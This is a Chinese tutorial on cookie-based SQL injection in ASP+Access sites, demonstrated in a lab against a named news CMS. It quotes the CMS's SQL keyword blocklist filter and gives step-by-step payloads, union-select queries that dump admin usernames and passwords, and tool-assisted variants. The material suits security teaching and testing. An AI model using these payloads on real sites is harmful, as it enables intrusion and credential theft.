SQL注入系列之ASP+ACCESS手動注入(二)----Cookie注入
一、簡介
Cookie的定義是這樣的:Cookie是在HTTP協議下,伺服器或指令碼可以維護客戶工作站上資訊的一種方式。通常被用來辨別使用者身份、進行session跟蹤,最典型的應用就是儲存使用者的賬號和密碼用來自動登入網站和電子商務網站中的“購物車”。
Cookie注入簡單來說就是利用Cookie而發起的注入攻擊。從本質上來講,Cookie注入與傳統的SQL注入並無不同,兩者都是針對資料庫的注入,只是表現形式上略有不同罷了。
要想深入瞭解Cookie注入的成因,必須要了解ASP指令碼中的request物件。它被用於從使用者那裡獲取資訊。Request物件的使用方法一般是這樣的:request.[集合名稱](引數名稱),比如獲取從表單中提交的資料時可以這樣寫:request.form("引數名稱"),但ASP中規定也可以省略集合名稱,直接用這樣的方式獲取資料:request("引數名稱"),當使用這樣的方式獲取資料時,ASP規定是按QueryString、Form、Cookies、ServerVariables的順序來獲取資料的。這樣,當我們使用request("引數名稱")方式獲取客戶端提交的資料,並且沒有對使用request.cookies("引數名稱")方式提交的資料進行過濾時,Cookie注入就產生了。
二Cookie注入典型步驟
1.尋找形如“.asp?id=xx”類的帶引數的URL。
2.去掉“id=xx”檢視頁面顯示是否正常,如果不正常,說明引數在資料傳遞中是直接起作用的。
3.清空瀏覽器位址列,輸入“javascript:alert(document.cookie="id="+escape("xx"));”,按Enter鍵後彈出一個對話方塊,內容是“id=xx”,然後用原來的URL重新整理頁面,如果顯示正常,說明應用使用Request("id")這種方式獲取資料的。
4.重複上面的步驟,將常規SQL注入中的判斷語句帶入上面的URL:“javascript:alert(document.cookie="id="+escape("xx and 1=1"));” “javascript:alert(document.cookie="id="+escape("xx and 1=2"));”。和常規SQL注入一樣,如果分別返回正常和不正常頁面,則說明該應用存在注入漏洞,並可以進行cookie注入。
5.使用常規注入語句進行注入即可。
三、Cookie注入實戰
測試程式這裡採用:南方資料新聞釋出管理系統 V7.0
檢視其中的 Shownews.asp 檔案
檢視Check_Sql.asp檔案
它有對get/post注入進行過濾,並沒有對Cookie進行過濾。<% Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name '------定義部份 頭---------------------------------------------------------------------- Err_Message = 1 '處理方式:1=提示資訊,2=轉向頁面,3=先提示再轉向 Err_Web = "Err.Asp" '出錯時轉向的頁面 Query_Badword="'∥and∥select∥update∥chr∥delete∥%20from∥;∥insert∥mid∥master.∥set∥chr(37)∥=" '在這部份定義get非法引數,使用"∥"號間隔 Form_Badword="'∥%∥&∥*∥#∥(∥)∥=" '在這部份定義post非法引數,使用"∥"號間隔 '------定義部份 尾----------------------------------------------------------------------- ' On Error Resume Next '----- 對 get query 值 的過濾. if request.QueryString<>"" then Chk_badword=split(Query_Badword,"∥") FOR EACH Query_Name IN Request.QueryString for i=0 to ubound(Chk_badword) If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))<>0 Then Select Case Err_Message Case "1" Response.Write "<Script Language=JavaScript>alert('傳參錯誤!引數 "&name&" 的值中包含非法字串!\n\n請不要在引數中出現:and update delete ; insert mid master 等非法字元!');window.close();</Script>" Case "2" Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>" Case "3" Response.Write "<Script Language=JavaScript>alert('傳參錯誤!引數 "&name&"的值中包含非法字串!\n\n請不要在引數中出現:and update delete ; insert mid master 等非法字元!');location.href='"&Err_Web&"';</Script>" End Select Response.End End If NEXT NEXT End if '-----對 post 表 單值的過濾. if request.form<>"" then Chk_badword=split(Form_Badword,"∥") FOR EACH name IN Request.Form for i=0 to ubound(Chk_badword) If Instr(LCase(request.form(name)),Chk_badword(i))<>0 Then Select Case Err_Message Case "1" Response.Write "<Script Language=JavaScript>alert('出錯了!表單 "&name&" 的值中包含非法字串!\n\n請不要在表單中出現: % & * # ( ) 等非法字元!');window.close();</Script>" Case "2" Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>" Case "3" Response.Write "<Script Language=JavaScript>alert('出錯了!引數 "&name&"的值中包含非法字串!\n\n請不要在表單中出現: % & * # ( ) 等非法字元!');location.href='"&Err_Web&"';</Script>" End Select Response.End End If NEXT NEXT end if %>
1)手工注入
1.尋找形如“.asp?id=xx”類的帶引數的URL。
提示包好非法字串,這是由於它對POST/GET進行了過濾。
2.去掉“id=xx”檢視頁面顯示是否正常,如果不正常,說明引數在資料傳遞中是直接起作用的。
3.清空瀏覽器位址列,輸入“javascript:alert(document.cookie="id="+escape("xx"));”,按Enter鍵後彈出一個對話方塊,內容是“id=xx”,然後用原來的URL重新整理頁面,如果顯示正常,說明應用使用Request("id")這種方式獲取資料的。
4.重複上面的步驟,將常規SQL注入中的判斷語句帶入上面的
URL:“javascript:alert(document.cookie="id="+escape("xx and 1=1"));” URL:“javascript:alert(document.cookie="id="+escape("xx and 1=2"));”
和常規SQL注入一樣,如果分別返回正常和不正常頁面,則說明該應用存在注入漏洞,並可以進行cookie注入。
先去掉地址,然後輸入:
javascript:alert(document.cookie="id="+escape("xx and 1=1"));
然後去掉?id=27看是否能正常顯示。
然後再清除地址,輸入:
javascript:alert(document.cookie="id="+escape("xx and 1=2"));
然後去掉?id=27看是否能正常顯示。
出錯了,說明存在Cookie注入,然後換語句猜解欄位數:
javascript:alert(document.cookie="id="+escape("27 order by 12"));
order by 12 時報錯,換成11再試:
javascript:alert(document.cookie="id="+escape("27 order by 11"));
11時正確,說明欄位數為11。然後就是猜解表名:
javascript:alert(document.cookie="id="+escape("27 and exists (select * from admin) "));
正確說明存在"admin"這個表。接下來就是猜解內容:
javascript:alert(document.cookie="id="+escape("27 union select 1,2,3,4,5,6,7,8,9,10,11 from admin "));
爆出來:2,3,替換2,3為你想要猜解出來的內容。
javascript:alert(document.cookie="id="+escape("27 union select 1,username,password,4,5,6,7,8,9,10,11 from admin "));
2)Burp+手工注入
這裡用Burp工具+手工來操作,開啟Burp然後監聽80埠,然後重新整理頁面,Burp就會進行攔截
擷取到之後,右鍵傳送到 Repeater
進行手工注入。先GO過去看先他的Content-Length長度是多少。
2189,然後在cookie中加入;id=27 and 1=1
再GO,看下結果
發現並沒有變,然後換成;id=27 and 1=2
發現還是沒有變???難道不存在Cookie注入?? 把id=27 and 1=2 進行URL編碼得到id%3d27+and+1%3d2 然後把/shownews.asp?id=27去掉,再GO一下,就可以了。
發現長度變成了7133。
3)利用Cookie工具注入中轉
首先將存在有引數傳遞的頁面完全開啟,並將url複製下來:http://192.168.87.129/shownews.asp?id=27
執行“注入中轉”工具,選擇“cookie注入”,並按下圖的格式進行填寫。注意“post提交值”一定要用預設的“jmdcw=”,後面的“27”就是剛才所開啟的網頁所傳送的引數值。
設定好之後,點選“生成ASP”,此時會在軟體目錄下生成一個asp網頁檔案jmCook.asp。
下面我們在主機上也安裝小旋風ASPWeb伺服器搭建一個Web環境,並將jmCook.asp這個檔案複製到網站主目錄wwwroot中。
開啟瀏覽器,在位址列中輸入“192.168.87.129:8067/jmCook.asp?jmdcw=27”來訪問剛才所生成的網頁,此時就在本地打開了之前曾訪問的那個頁面。
在這個頁面中,我們就可以使用之前的那些注入語句來實現注入了。
192.168.87.129:8067/jmCook.asp?jmdcw=27
在地址後嗎加個',資料庫就報錯了。
然後就可以和上面的一樣進行手工注入。
4)利用三甲SQL注入工具進行注入
開啟穿三甲工具,輸入URL地址,然後選擇Type,DB,keyword,注入型別。
選擇好之後,點選開始
選擇Datas然後選擇ALL他就會自動掃描資料庫。掃描出來之後,再次選擇你要爆破的表,
然後選擇"Columns"他就會自動去掃描表中的欄位。然後選擇你要獲取那個欄位的內容,選擇好之後,然後點選獲取資料。
使用者名稱與密碼就出來了。